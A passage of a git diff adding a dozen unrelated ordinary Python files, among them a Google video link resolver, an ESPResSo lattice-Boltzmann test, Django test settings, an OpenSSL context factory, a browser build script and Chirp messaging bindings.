+http://blog.ianbicking.org/2007/10/10/workingenv-is-dead-long-live-virtualenv/ +By Paul Winkler +""" + +import os +import site + +basedir = os.path.abspath(os.path.dirname(os.path.dirname(__file__))) +sitepkgs = os.path.join(basedir, 'lib', 'python2.4', 'site-packages') +site.addsitedir(sitepkgs) + +from django.core.handlers.modpython import handler diff --git a/pool/shard009/Python/0081511_gvideo.py b/pool/shard009/Python/0081511_gvideo.py new file mode 100644 index 0000000000000000000000000000000000000000..715a9846d8423b901d9183cc68688ef8ad03075a --- /dev/null +++ b/pool/shard009/Python/0081511_gvideo.py @@ -0,0 +1,73 @@ +# -*- coding: utf-8 -*- + +import urllib + +from core import httptools +from core import scrapertools +from platformcode import logger + + +def test_video_exists(page_url): + if 'googleusercontent' in page_url: + return True, "" # desactivada verificación pq se encalla! + + response = httptools.downloadpage(page_url, headers={"Referer": page_url}) + global page + page = response + + if "no+existe" in response.data or 'no existe.

' in response.data: + return False, "[gvideo] El video no existe o ha sido borrado" + if "Se+ha+excedido+el" in response.data: + return False, "[gvideo] Se ha excedido el número de reproducciones permitidas" + if "No+tienes+permiso" in response.data: + return False, "[gvideo] No tienes permiso para acceder a este video" + if "Se ha producido un error" in response.data: + return False, "[gvideo] Se ha producido un error en el reproductor de google" + if "No+se+puede+procesar+este" in response.data: + return False, "[gvideo] No se puede procesar este video" + if response.code == 429: + return False, "[gvideo] Demasiadas conexiones al servidor, inténtelo después" + return True, "" + + +def get_video_url(page_url, user="", password="", video_password=""): + logger.info() + video_urls = [] + urls = [] + streams =[] + logger.debug('page_url: %s'%page_url) + + if 'googleusercontent' in page_url: + + url = page_url + headers_string = httptools.get_url_headers(page_url, forced=True) + + quality = scrapertools.find_single_match (url, '.itag=(\d+).') + if not quality: + quality = '59' + streams.append((quality, url)) + + else: + + data = page.data + bloque= scrapertools.find_single_match(data, 'url_encoded_fmt_stream_map(.*)') + + if bloque: + data = bloque + + data = data.decode('unicode-escape', errors='replace') + data = urllib.unquote_plus(urllib.unquote_plus(data)) + + headers_string = httptools.get_url_headers(page_url, forced=True) + streams = scrapertools.find_multiple_matches(data, + 'itag=(\d+)&url=(.*?)(?:;.*?quality=.*?(?:,|&)|&quality=.*?(?:,|&))') + + itags = {'18': '360p', '22': '720p', '34': '360p', '35': '480p', '37': '1080p', '43': '360p', '59': '480p'} + for itag, video_url in streams: + if not video_url in urls: + video_url += headers_string + video_urls.append([itags.get(itag, ''), video_url]) + urls.append(video_url) + video_urls.sort(key=lambda video_urls: int(video_urls[0].replace("p", ""))) + + return video_urls diff --git a/pool/shard009/Python/0081512_lb_streaming.py b/pool/shard009/Python/0081512_lb_streaming.py new file mode 100644 index 0000000000000000000000000000000000000000..b94bc9ef9ea646a93196e29885cc5a45ff3e78c9 --- /dev/null +++ b/pool/shard009/Python/0081512_lb_streaming.py @@ -0,0 +1,135 @@ +# Copyright (C) 2010-2018 The ESPResSo project +# +# This file is part of ESPResSo. +# +# ESPResSo is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# ESPResSo is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import unittest as ut +import itertools +import numpy as np + +import espressomd +import espressomd.lb + +""" +Tests for the streaming of populations of the LB algorithm. + +""" + +AGRID = 0.5 +TAU = 0.1 +VISC = 1e18 +BULK_VISC = VISC +VELOCITY_VECTORS = np.array([ + [0, 0, 0], + [1, 0, 0], + [-1, 0, 0], + [0, 1, 0], + [0, -1, 0], + [0, 0, 1], + [0, 0, -1], + [1, 1, 0], + [-1, -1, 0], + [1, -1, 0], + [-1, 1, 0], + [1, 0, 1], + [-1, 0, -1], + [1, 0, -1], + [-1, 0, 1], + [0, 1, 1], + [0, -1, -1], + [0, 1, -1], + [0, -1, 1]]) +LB_PARAMETERS = { + 'agrid': AGRID, + 'visc': VISC, + 'bulk_visc': BULK_VISC, + 'tau': TAU, + 'fric': 1.0, + 'dens': 1.0, + 'gamma_odd': 1.0, + 'gamma_even': 1.0 +} + + +class LBStreamingCommon(object): + + """ + Check the streaming step of the LB fluid implementation by setting all populations + to zero except one. Relaxation is supressed by choosing appropriate parameters. + + """ + lbf = None + system = espressomd.System(box_l=[3.0] * 3) + system.cell_system.skin = 0.4 * AGRID + system.time_step = TAU + grid = np.array([int(system.box_l[0] / AGRID), + int(system.box_l[1] / AGRID), int(system.box_l[2] / AGRID)]) + + def prepare(self): + self.system.actors.clear() + self.system.actors.add(self.lbf) + self.reset_fluid_populations() + + def reset_fluid_populations(self): + """Set all populations to 0.0. + + """ + for i in itertools.product(range(self.grid[0]), range(self.grid[1]), range(self.grid[2])): + self.lbf[i].population = np.zeros(19) + + def set_fluid_populations(self, grid_index): + """Set the population of direction n_v of grid_index to n_v+1. + + """ + pop = np.arange(1, 20) + self.lbf[grid_index].population = pop + + def test_population_streaming(self): + self.prepare() + for grid_index in itertools.product(range(self.grid[0]), range(self.grid[1]), range(self.grid[2])): + self.set_fluid_populations(grid_index) + self.system.integrator.run(1) + for n_v in range(19): + target_node_index = np.mod( + grid_index + VELOCITY_VECTORS[n_v], self.grid) + np.testing.assert_almost_equal( + self.lbf[target_node_index].population[n_v], float(n_v + 1)) + self.lbf[target_node_index].population = np.zeros(19) + + +@ut.skipIf( + not espressomd.has_features('LB') or espressomd.has_features('SHANCHEN'), + "Skipping test due to missing features.") +class LBCPU(ut.TestCase, LBStreamingCommon): + + """Test for the CPU implementation of the LB.""" + + def setUp(self): + self.lbf = espressomd.lb.LBFluid(**LB_PARAMETERS) + + +@ut.skipIf( + not espressomd.has_features( + 'LB_GPU') or espressomd.has_features('SHANCHEN'), + "Skipping test due to missing features.") +class LBGPU(ut.TestCase, LBStreamingCommon): + + """Test for the GPU implementation of the LB.""" + + def setUp(self): + self.lbf = espressomd.lb.LBFluidGPU(**LB_PARAMETERS) + + +if __name__ == "__main__": + ut.main() diff --git a/pool/shard009/Python/0081517_bag_graph.py b/pool/shard009/Python/0081517_bag_graph.py new file mode 100644 index 0000000000000000000000000000000000000000..a9dd59ede0a03ca198351a2c4586a087df807203 --- /dev/null +++ b/pool/shard009/Python/0081517_bag_graph.py @@ -0,0 +1,44 @@ +import bag_engine + +'''Generate .dot graph file. Format + +digraph G { + 1 [label = "room name #1"]; + 2 [label = "room name #2"]; + 1 -> 2 [label = "door going from room 1 to room 2"]; +} +''' + +def create_graph(graph): + + room_num = 1 + room_name_to_number = {} + for room in graph.keys(): + room_name_to_number[room] = room_num + room_num += 1 + + result = [] + for room in graph.keys(): + # output the room node + room_number = room_name_to_number[room] + result.append(" " + str(room_number) + ' [label = "' + room + '"];') + + for room in graph.keys(): + room_number = room_name_to_number[room] + + doors = graph[room]["doors"] + for door in doors.keys(): + next_room = doors[door] + next_room_number = room_name_to_number[next_room] + result.append(" " + str(room_number) + " -> " + str(next_room_number) + ' [label = "' + door + '"];') + + return result + + +graph = create_graph(bag_engine.g_rooms) + +output = open("bag_graph.dot", "w") +output.write("digraph G {" + "\n") +output.writelines("\n".join(graph)) +output.writelines("\n}\n") +output.close() diff --git a/pool/shard009/Python/0081518_beam_j.py b/pool/shard009/Python/0081518_beam_j.py new file mode 100644 index 0000000000000000000000000000000000000000..51a1207969c88a2be7c0d706e51cebda9df13977 --- /dev/null +++ b/pool/shard009/Python/0081518_beam_j.py @@ -0,0 +1,66 @@ +from pathlib import Path + +from PySide2 import QtWidgets +import FreeCADGui as Gui + +civiltools_path = Path(__file__).absolute().parent.parent + + +class Form(QtWidgets.QWidget): + def __init__(self, etabs_obj): + super(Form, self).__init__() + self.form = Gui.PySideUic.loadUi(str(civiltools_path / 'widgets' / 'beam_j.ui')) + # self.setupUi(self) + # self.form = self + self.etabs = etabs_obj + self.create_connections() + + def accept(self): + load_combinations = None + selected_beams = self.form.selected_beams.isChecked() + exclude_selected_beams = self.form.exclude_selected_beams.isChecked() + beams_names = None + if (selected_beams or exclude_selected_beams): + beams, _ = self.etabs.frame_obj.get_beams_columns() + names = self.etabs.select_obj.get_selected_obj_type(2) + names = [name for name in names if self.etabs.frame_obj.is_beam(name)] + if selected_beams: + beams_names = set(names).intersection(beams) + elif exclude_selected_beams: + beams_names = set(beams).difference(names) + phi = self.form.phi_spinbox.value() + num_iteration = self.form.iteration_spinbox.value() + tolerance = self.form.tolerance_spinbox.value() + j_max_value = self.form.maxj_spinbox.value() + j_min_value = self.form.minj_spinbox.value() + initial_j = self.form.initial_checkbox.isChecked() + initial_j = self.form.initial_spinbox.value() if initial_j else None + decimals = self.form.rounding.isChecked() + decimals = self.form.round_decimals.value() if decimals else None + df = self.etabs.frame_obj.correct_torsion_stiffness_factor( + load_combinations, + beams_names, + phi, + num_iteration, + tolerance, + j_max_value, + j_min_value, + initial_j, + decimals, + ) + import table_model + table_model.show_results(df, None, table_model.BeamsJModel, self.etabs.view.show_frame) + + def reject(self): + import FreeCADGui as Gui + Gui.Control.closeDialog() + + def create_connections(self): + self.form.initial_checkbox.stateChanged.connect(self.set_initial_j) + + def set_initial_j(self): + if self.form.initial_checkbox.isChecked(): + self.form.initial_spinbox.setEnabled(True) + else: + self.form.initial_spinbox.setEnabled(False) + diff --git a/pool/shard009/Python/0081524_ctxfactory.py b/pool/shard009/Python/0081524_ctxfactory.py new file mode 100644 index 0000000000000000000000000000000000000000..fca7c43c80d39d9c2a87ccd80f2c05bf219d2f59 --- /dev/null +++ b/pool/shard009/Python/0081524_ctxfactory.py @@ -0,0 +1,59 @@ +""" +SSL/TLS context definition. + +Most of this code is borrowed from the SGAS 3.X LUTS codebase. +NORDUnet holds the copyright for SGAS 3.X LUTS and OpenNSA. +""" + +import os + +from OpenSSL import SSL + + + +class ContextFactory: + + def __init__(self, private_key_path, public_key_path, certificate_dir, verify=True): + + self.private_key_path = private_key_path + self.public_key_path = public_key_path + self.certificate_dir = certificate_dir + self.verify = verify + + self.ctx = None + + + def getContext(self): + + if self.ctx is not None: + return self.ctx + else: + self.ctx = self._createContext() + return self.ctx + + + def _createContext(self): + + ctx = SSL.Context(SSL.TLSv1_METHOD) # only tls v1 (its almost 2012, should be okay + + ctx.use_privatekey_file(self.private_key_path) + ctx.use_certificate_file(self.public_key_path) + ctx.check_privatekey() # sanity check + + def verify_callback(conn, x509, error_number, error_depth, allowed): + # just return what openssl thinks is right + if self.verify: + return allowed # return what openssl thinks is right + else: + return 1 # allow everything which has a cert + + ctx.set_verify(SSL.VERIFY_PEER, verify_callback) + + calist = [ ca for ca in os.listdir(self.certificate_dir) if ca.endswith('.0') ] + for ca in calist: + # openssl wants absolute paths + ca = os.path.join(self.certificate_dir, ca) + ctx.load_verify_locations(ca) + + return ctx + diff --git a/pool/shard009/Python/0081526_testsettings.py b/pool/shard009/Python/0081526_testsettings.py new file mode 100644 index 0000000000000000000000000000000000000000..3c337bf1b436024f94b45ed74c001aa51f03b5db --- /dev/null +++ b/pool/shard009/Python/0081526_testsettings.py @@ -0,0 +1,84 @@ +import os + +from lizard_ui.settingshelper import setup_logging +from lizard_ui.settingshelper import STATICFILES_FINDERS + +DEBUG = True +TEMPLATE_DEBUG = True + +# SETTINGS_DIR allows media paths and so to be relative to this settings file +# instead of hardcoded to c:\only\on\my\computer. +SETTINGS_DIR = os.path.dirname(os.path.realpath(__file__)) + +# BUILDOUT_DIR is for access to the "surrounding" buildout, for instance for +# BUILDOUT_DIR/var/static files to give django-staticfiles a proper place +# to place all collected static files. +BUILDOUT_DIR = os.path.abspath(os.path.join(SETTINGS_DIR, '..')) +LOGGING = setup_logging(BUILDOUT_DIR) + +# ENGINE: 'postgresql_psycopg2', 'postgresql', 'mysql', 'sqlite3' or 'oracle'. +# In case of geodatabase, prepend with: +# django.contrib.gis.db.backends.(postgis) +DATABASES = { + # If you want to use another database, consider putting the database + # settings in localsettings.py. Otherwise, if you change the settings in + # the current file and commit them to the repository, other developers will + # also use these settings whether they have that database or not. + # One of those other developers is Jenkins, our continuous integration + # solution. Jenkins can only run the tests of the current application when + # the specified database exists. When the tests cannot run, Jenkins sees + # that as an error. + 'default': { + 'NAME': os.path.join(BUILDOUT_DIR, 'var', 'sqlite', 'test.db'), + 'ENGINE': 'django.contrib.gis.db.backends.spatialite', + 'USER': '', + 'PASSWORD': '', + 'HOST': '', # empty string for localhost. + 'PORT': '', # empty string for default. + } + } +SITE_ID = 1 +SECRET_KEY = 'This is not secret but that is ok.' +INSTALLED_APPS = [ + 'ddsc_opendap', + 'staticfiles', + 'compressor', + 'south', + 'django_nose', + 'lizard_security', + 'django_extensions', + 'django.contrib.admin', + 'django.contrib.auth', + 'django.contrib.contenttypes', + 'django.contrib.sessions', + 'django.contrib.gis', + 'django.contrib.sites', + ] +ROOT_URLCONF = 'ddsc_opendap.urls' + +MIDDLEWARE_CLASSES = ( + 'django.middleware.common.CommonMiddleware', + 'django.contrib.sessions.middleware.SessionMiddleware', + 'django.middleware.locale.LocaleMiddleware', + 'django.middleware.csrf.CsrfViewMiddleware', + 'django.contrib.auth.middleware.AuthenticationMiddleware', + 'django.contrib.messages.middleware.MessageMiddleware', + 'lizard_security.middleware.SecurityMiddleware', + 'tls.TLSRequestMiddleware', + ) + +TEST_RUNNER = 'django_nose.NoseTestSuiteRunner' + +# Used for django-staticfiles (and for media files +STATIC_URL = '/static_media/' +MEDIA_URL = '/media/' +STATIC_ROOT = os.path.join(BUILDOUT_DIR, 'var', 'static') +MEDIA_ROOT = os.path.join(BUILDOUT_DIR, 'var', 'media') +STATICFILES_FINDERS = STATICFILES_FINDERS + + +try: + # Import local settings that aren't stored in svn/git. + from ddsc_opendap.local_testsettings import * +except ImportError: + pass diff --git a/pool/shard009/Python/0081528_periodic.py b/pool/shard009/Python/0081528_periodic.py new file mode 100644 index 0000000000000000000000000000000000000000..cf89688654315e2573d09c473d898b23454b8b7f --- /dev/null +++ b/pool/shard009/Python/0081528_periodic.py @@ -0,0 +1,116 @@ +# coding: utf-8 + +# Standard Libraries +import asyncio +import logging + +# Dopplerr +from dopplerr.config import DopplerrConfig + +log = logging.getLogger(__name__) + + +class PeriodicTask(object): + job_id: str = None + job_type = 'interval' + job_default_kwargs = {'max_instances': 1} + scheduler = None + seconds: int = None + minutes: int = None + hours: int = None + active = False + _interrupted = False + enable_cfg: str = None + forced = False + force_start_required = False + + def __init__(self): + self.init() + + def init(self): + pass + + async def run(self): + try: + if self.force_start_required: + self.forced = True + elif self.forced: + log.debug("Forced execution already started, skip this periodic schedule") + return + self.active = True + return await self._run() + finally: + self.active = False + + async def _run(self): + raise NotImplementedError + + @property + def _add_job_kwargs(self): + kw = self.job_default_kwargs.copy() + if self.seconds: + kw['seconds'] = self.seconds + if self.minutes: + kw['minutes'] = self.minutes + if self.hours: + kw['hours'] = self.hours + return kw + + @property + def job(self): + if self.scheduler: + return self.scheduler.get_job(self.job_id) + + def add_job(self, scheduler): + if self.enable_cfg is not None and not DopplerrConfig().get_cfg_value(self.enable_cfg): + log.info("Do not enable job '%s', it is disabled by configuration '%s'", self.job_id, + self.enable_cfg) + return + self.scheduler = scheduler + scheduler.add_job( + self.run, self.job_type, id=self.job_id, replace_existing=True, **self._add_job_kwargs) + + @property + def next_run_time(self): + job = self.job + if job: + return self.job.next_run_time + + @property + def next_run_time_iso(self): + t = self.next_run_time + if t: + return t.isoformat() + + @property + def interval(self): + # yapf: disable + return ( + (self.seconds if self.seconds else 0) + + (self.minutes * 60 if self.minutes else 0) + + (self.hours * 60 * 60 if self.hours else 0) + + 0) + # yapf: enable + + @property + def started(self): + return self.scheduler + + def stop(self): + self.scheduler = None + + @property + def stopped(self): + return not self.scheduler + + def interrupt(self): + self._interrupted = True + + @property + def interrupted(self): + return self._interrupted + + async def force_start(self): + log.debug("Force start job: %s", self.job_id) + self.force_start_required = True + asyncio.ensure_future(self.run()) diff --git a/pool/shard009/Python/0081531_build.py b/pool/shard009/Python/0081531_build.py new file mode 100644 index 0000000000000000000000000000000000000000..60f4f8b2b18ddef1bbc8c72ac87a6282612875d3 --- /dev/null +++ b/pool/shard009/Python/0081531_build.py @@ -0,0 +1,179 @@ +#!/usr/bin/python +import os +import sys +import fnmatch +import glob +import shutil +import subprocess + +def glob_recursive(base_path, pattern): + matches = [] + + for root, dirnames, filenames in os.walk(base_path): + for filename in fnmatch.filter(filenames, pattern): + matches.append(os.path.join(root, filename)) + + return matches + +src_dir = 'browser' +build_dir = 'browser/build' + +def run(exe): + p = os.popen(exe) + return p.read() + +def compress(in_name, out_name): + # os.system('yui-compressor --type js --preserve-semi -o ' + out_name + ' ' + in_name) + os.system('node_modules/uglify-js2/bin/uglifyjs2 -c dead-code=false,unused=false -o ' + out_name + ' ' + in_name) + +def compress_css(in_name, out_name): + cmd = 'java -jar node_modules/yui-compressor/lib/vendor/yuicompressor.jar --type css -o ' + out_name + ' ' + in_name + # print cmd + os.system(cmd) + +# Make sure the output directory exists +if not os.path.exists(build_dir): + os.system('mkdir ' + build_dir) + +# Debugger statements will make uglify barf, Make sure we haven't left any behind by accident. +print 'Checking for residual debugger statements...' + +if os.system('grep -n "debugger;" ' + src_dir + '/plugins/*.js') == 0: + sys.exit(0) + +if os.system('grep -n "debugger;" ' + src_dir + '/scripts/*.js') == 0: + sys.exit(0) + +print 'Rebuilding...' +shutil.rmtree(build_dir) +os.mkdir(build_dir) + +print 'Compressing scripts...' +scripts_path = src_dir + '/scripts/' +os.mkdir(build_dir + '/scripts/') + +scripts = map(lambda x: x[len(scripts_path):], glob.glob(scripts_path + '*.js')) + +for script in scripts: + print '\t' + script + compress(scripts_path + script, build_dir + '/scripts/' + script) + +print 'Compressing presets...' +presets_path = src_dir + '/presets/' +os.mkdir(build_dir + '/presets/') +presets = map(lambda x: x[len(presets_path):], glob.glob(presets_path + '*.json')) + +for preset in presets: + shutil.copy(presets_path + preset, build_dir + '/presets/' + preset) + +plugins_path = src_dir + '/plugins/' +os.mkdir(build_dir + '/plugins/') +plugins = map(lambda x: x[len(plugins_path):], glob.glob(plugins_path + '*.js')) + +print 'Concatenating plugins...' + +plugin_data = [] + +for plugin in plugins: + '\tMunching ' + plugin + + for line in open(plugins_path + plugin, 'r'): + plugin_data.append(line) + +plugs_concat_filename = build_dir + '/plugins/all.plugins' +plugs_concat_file = open(plugs_concat_filename, 'w') +plugs_concat_file.write(''.join(plugin_data)) +plugs_concat_file.close() + +print '\tMinifying plugin package.' + +compress(plugs_concat_filename, plugs_concat_filename + '.js') +os.remove(plugs_concat_filename) + +print '\tCopying plugin catalogue.' +os.system('cp ' + plugins_path + 'plugins.json ' + build_dir + '/plugins') + +print '\tProcessing plugin dependencies' +print '\t\tOSC Proxy' +oscproxy_file = '/plugins/osc/osc-proxy.js' +os.system('mkdir ' + os.path.dirname(build_dir + oscproxy_file)) +compress(src_dir + oscproxy_file, build_dir + oscproxy_file) + +print '\t\tACE Editor + plugins' +os.system('mkdir ' + build_dir + '/plugins/ace') +ace_files = glob.glob(src_dir + '/plugins/ace/*.js') + +for ace_file in ace_files: + print('\t\t+ ' + ace_file) + compress(ace_file, build_dir + '/plugins/ace/' + os.path.basename(ace_file)) + +print '\t\tConstructive solid geometry' +csg_file = '/plugins/csg/csg.js' +os.system('mkdir ' + os.path.dirname(build_dir + csg_file)) +compress(src_dir + csg_file, build_dir + csg_file) + +print '\t\tWebSocket channel' +wschannel_file = '/plugins/wschannel/wschannel.js' +os.system('mkdir ' + os.path.dirname(build_dir + wschannel_file)) +compress(src_dir + wschannel_file, build_dir + wschannel_file) + +print '\t\tToggle button style' +os.system('mkdir ' + build_dir + '/plugins/toggle-button') +compress_css(plugins_path + 'toggle-button/style.css', build_dir + '/plugins/toggle-button/style.css') + +print '\t\tModule player' +module_player_file = '/plugins/module_player/pt.js' +os.system('mkdir ' + os.path.dirname(build_dir + module_player_file)) +compress(src_dir + module_player_file, build_dir + module_player_file) + +print 'Compressing stylesheets...' +css_path = src_dir + '/style/' +os.mkdir(build_dir + '/style') +cssfiles = map(lambda x: x[len(css_path):], glob.glob(css_path + '*.css')) + +for cssfile in cssfiles: + print '\tCompressing ' + cssfile + compress_css(css_path + cssfile, build_dir + '/style/' + os.path.basename(cssfile)) + +print 'Copying TrueType fonts.' +os.system('cp ' + css_path + '*.ttf ' + build_dir + '/style') + +# Take care of files included directly from node modules. +print 'Copying relevant files from node_modules...' +os.system('mkdir -p ' + build_dir + '/node_modules/jquery/dist') +os.system('cp node_modules/jquery/dist/jquery.min.js ' + build_dir + '/node_modules/jquery/dist') +os.system('cp node_modules/jquery/dist/jquery.min.map ' + build_dir + '/node_modules/jquery/dist') +os.system('mkdir -p ' + build_dir + '/node_modules/handlebars/dist') +os.system('cp node_modules/handlebars/dist/handlebars.min.js ' + build_dir + '/node_modules/handlebars/dist') + +print 'Compressing plugin icons to CSS sprite sheet...' +icons_path = build_dir + '/style/icons' +os.system('mkdir ' + icons_path) +os.system('tools/compress-plugin-icons.py') + +# Copy the result back to the debug version. +shutil.copy(icons_path + '/style.css', src_dir + '/style/icons/style.css') +shutil.copy(icons_path + '/icons.png', src_dir + '/style/icons/icons.png') + +print 'Copying remaining required files...' + +print '\tCopying images folder.' +shutil.copytree(src_dir + '/images/', build_dir + '/images/') + +print '\tCopying data folder.' +shutil.copytree(src_dir + '/data/', build_dir + '/data/') + +print '\tCopying vendor folder.' +shutil.copytree(src_dir + '/vendor/', build_dir + '/vendor/') + +print '\tCopying help folder.' +shutil.copytree(src_dir + '/help/', build_dir + '/help/') + +print '\tCopying index.html.' +os.system('cp ' + src_dir + '/*.html ' + build_dir) + +print '\tCopying scene.json.' +os.system('cp ' + src_dir + '/scene.json ' + build_dir) + +print '\tCopying favicon.' +os.system('cp ' + src_dir + '/favicon.ico ' + build_dir) diff --git a/pool/shard009/Python/0081534_setup.py b/pool/shard009/Python/0081534_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..dfe08213760cff0e87b8ce5ebda1483ca8a26f29 --- /dev/null +++ b/pool/shard009/Python/0081534_setup.py @@ -0,0 +1,46 @@ +import glob + +from setuptools import setup, find_packages + +from taca_ngi_pipeline import __version__ +from io import open + +try: + with open("requirements.txt", "r") as f: + install_requires = [x.strip() for x in f.readlines()] +except IOError: + install_requires = [] + +try: + with open("dependency_links.txt", "r") as f: + dependency_links = [x.strip() for x in f.readlines()] +except IOError: + dependency_links = [] + +setup(name='taca-ngi-pipeline', + version=__version__, + description='Plugin for the TACA tool, bringing functionality for the ' + 'ngi_pipeline to the table', + long_description='This package is a plugin that adds a set of subcommands ' + 'to the TACA tool. The subcommands are useful when interacting with ' + 'the ngi_pipeline. The TACA tool and the ngi_pipeline are used in the ' + 'day-to-day tasks of bioinformaticians in National Genomics ' + 'Infrastructure in Sweden.', + keywords='bioinformatics', + author='Guillermo Carrasco, Pontus Larsson', + author_email='guille.ch.88@gmail.com', + url='http://taca.readthedocs.org/en/latest/', + license='MIT', + packages=find_packages(exclude=['ez_setup', 'examples', 'tests']), + scripts=glob.glob('scripts/*.py'), + include_package_data=True, + zip_safe=False, + + entry_points={ + 'taca.subcommands': [ + 'deliver = taca_ngi_pipeline.cli:deliver', + ] + }, + install_requires=install_requires, + dependency_links=dependency_links + ) diff --git a/pool/shard009/Python/0081542_SelectByExpression.py b/pool/shard009/Python/0081542_SelectByExpression.py new file mode 100644 index 0000000000000000000000000000000000000000..bb618e9afe670d29de0bf70e20ecd9b442f7a10e --- /dev/null +++ b/pool/shard009/Python/0081542_SelectByExpression.py @@ -0,0 +1,81 @@ +# -*- coding: utf-8 -*- + +""" +*************************************************************************** + SelectByExpression.py + --------------------- + Date : July 2014 + Copyright : (C) 2014 by Michael Douchin +*************************************************************************** +* * +* This program is free software; you can redistribute it and/or modify * +* it under the terms of the GNU General Public License as published by * +* the Free Software Foundation; either version 2 of the License, or * +* (at your option) any later version. * +* * +*************************************************************************** +""" + +__author__ = 'Michael Douchin' +__date__ = 'July 2014' +__copyright__ = '(C) 2014, Michael Douchin' + +# This will get replaced with a git SHA1 when you do a git archive + +__revision__ = '$Format:%H$' + +from qgis.core import QgsExpression, QgsVectorLayer +from processing.core.GeoAlgorithmExecutionException import GeoAlgorithmExecutionException +from processing.core.parameters import ParameterVector +from processing.core.parameters import ParameterSelection +from processing.core.outputs import OutputVector +from processing.core.GeoAlgorithm import GeoAlgorithm +from processing.core.parameters import ParameterExpression +from processing.tools import dataobjects + + +class SelectByExpression(GeoAlgorithm): + + LAYERNAME = 'LAYERNAME' + EXPRESSION = 'EXPRESSION' + RESULT = 'RESULT' + METHOD = 'METHOD' + + def defineCharacteristics(self): + self.name, self.i18n_name = self.trAlgorithm('Select by expression') + self.group, self.i18n_group = self.trAlgorithm('Vector selection tools') + + self.methods = [self.tr('creating new selection'), + self.tr('adding to current selection'), + self.tr('removing from current selection'), + self.tr('selecting within current selection')] + + self.addParameter(ParameterVector(self.LAYERNAME, + self.tr('Input Layer'))) + self.addParameter(ParameterExpression(self.EXPRESSION, + self.tr("Expression"), parent_layer=self.LAYERNAME)) + self.addParameter(ParameterSelection(self.METHOD, + self.tr('Modify current selection by'), self.methods, 0)) + self.addOutput(OutputVector(self.RESULT, self.tr('Selected (expression)'), True)) + + def processAlgorithm(self, feedback): + filename = self.getParameterValue(self.LAYERNAME) + layer = dataobjects.getObjectFromUri(filename) + method = self.getParameterValue(self.METHOD) + + if method == 0: + behavior = QgsVectorLayer.SetSelection + elif method == 1: + behavior = QgsVectorLayer.AddToSelection + elif method == 2: + behavior = QgsVectorLayer.RemoveFromSelection + elif method == 3: + behavior = QgsVectorLayer.IntersectSelection + + expression = self.getParameterValue(self.EXPRESSION) + qExp = QgsExpression(expression) + if qExp.hasParserError(): + raise GeoAlgorithmExecutionException(qExp.parserErrorString()) + + layer.selectByExpression(expression, behavior) + self.setOutputValue(self.RESULT, filename) diff --git a/pool/shard009/Python/0081545_chirp.py b/pool/shard009/Python/0081545_chirp.py new file mode 100644 index 0000000000000000000000000000000000000000..86baef5353ca88bff2b4f697a64516a05e8cc968 --- /dev/null +++ b/pool/shard009/Python/0081545_chirp.py @@ -0,0 +1,171 @@ +"""Chirp bindings.""" +import concurrent.futures as fut +import sys +import threading + +from _chirp_cffi import ffi, lib + +from . import common, const + + +class ChirpPool(object): + """TODO Documentation -> async to pool, ccchirp to chirp. + + Chirp is message passing with fully automatic connection setup and + cleanup. Just create a Chirp() object, await obj.start(), create a Message + using port and address of a peer and then await obj.send(msg). + + .. code-block:: python + + def setup_chirp(): + client = chirp.Chirp() + client.start() + msg = chirp.Message( + "10.10.10.10", + 2998, + "yo dawg", + ) + load = client.send(msg).result() + client.close() + + The connection will be removed if it wasn't used for REUSE_TIME or when you + close chirp. + + The config argument can either be None, a object of a class like + :class:`ccchirp.Config` or a dictionary containing the same keys as + :class:`ccchirp.Config`. If config is None the default will be used. When + config is set, the defined config variables will be taken and default + copied from :class:`ccchirp.Config`. + + :param config: Config as either a object or a dictionary. + :type config: :py:class:`object` or :py:class:`dict` + """ + + def __init__( + self, + config = None, + ): + self._config = common.complete_config(config, const.Config()) + self._c_config = ffi.new("ch_config_t*") + self._chirp = ffi.new("ch_chirp_t*") + self._loop = ffi.new("uv_loop_t*") + self._cert_str = None + self._dh_str = None + self._thread = None + self._pool = None + self._uv_ret = 0 + self._chirp_ret = 0 + + # TODO properties + + def start(self): + """Start servers and cleanup routines.""" + self._fill_c_config() + lib.ch_loop_init(self._loop) + err = lib.ch_chirp_init( + self._chirp, + self._c_config, + self._loop, + lib.python_log_cb + ) + if err == lib.CH_EADDRINUSE: + raise RuntimeError("Port {port_number:d} already in" + "use.".format(port_number=self._config.PORT)) + assert err == lib.CH_SUCCESS + lib.ch_chirp_set_auto_stop(self._chirp) + + def run(): + """Run chirp in a thread.""" + self._uv_ret = lib.ch_run(self._loop) + self._chirp_ret = lib.ch_loop_close(self._loop) + + self._pool = fut.ThreadPoolExecutor( + max_workers=self._config.MAX_HANDLERS + ) + self._thread = threading.Thread(target=run) + self._thread.start() + + def close(self): + """Closing everything.""" + lib.ch_chirp_close_ts(self._chirp) + self._thread.join() + assert self._uv_ret == lib.CH_SUCCESS + assert self._chirp_ret == lib.CH_SUCCESS + self._pool.shutdown() + + def _fill_c_config(self): + """Fill in the c_config from the config.""" + c_conf = self._c_config + conf = self._config + lib.ch_chirp_config_init(c_conf) + ( + conf.CERT_CHAIN_PEM, + conf.DH_PARAMS_PEM + ) = common.get_crypto_files() + for std_attr in [ + 'REUSE_TIME', + 'TIMEOUT', + 'PORT', + 'BACKLOG', + 'RETRIES', + ]: + setattr( + c_conf, + std_attr, + getattr( + conf, + std_attr, + ) + ) + self._cert_str = ffi.new( + "char[]", conf.CERT_CHAIN_PEM.encode("UTF-8") + ) + self._dh_str = ffi.new( + "char[]", conf.DH_PARAMS_PEM.encode("UTF-8") + ) + c_conf.CERT_CHAIN_PEM = self._cert_str + c_conf.DH_PARAMS_PEM = self._dh_str + + +if sys.version_info > (3, 4): + + class ChirpAsync(object): # pragma: no cover TODO + """TODO. + + Chirp is message passing with fully automatic connection setup and + cleanup. Just create a Chirp() object, await obj.start(), create a + Message using port and address of a peer and then await obj.send(msg). + + .. code-block:: python + + async def setup_chirp(): + client = chirp.Chirp() + await client.start() + msg = chirp.Message( + "10.10.10.10", + 2998, + "yo dawg", + ) + load = await client.send(msg) + await client.close() + + The connection will be removed if it wasn't used for REUSE_TIME or when + you close chirp. + + The config argument can either be None, a object of a class like + :class:`ccchirp.Config` or a dictionary containing the same keys as + :class:`ccchirp.Config`. If config is None the default will be used. + When config is set, the defined config variables will be taken 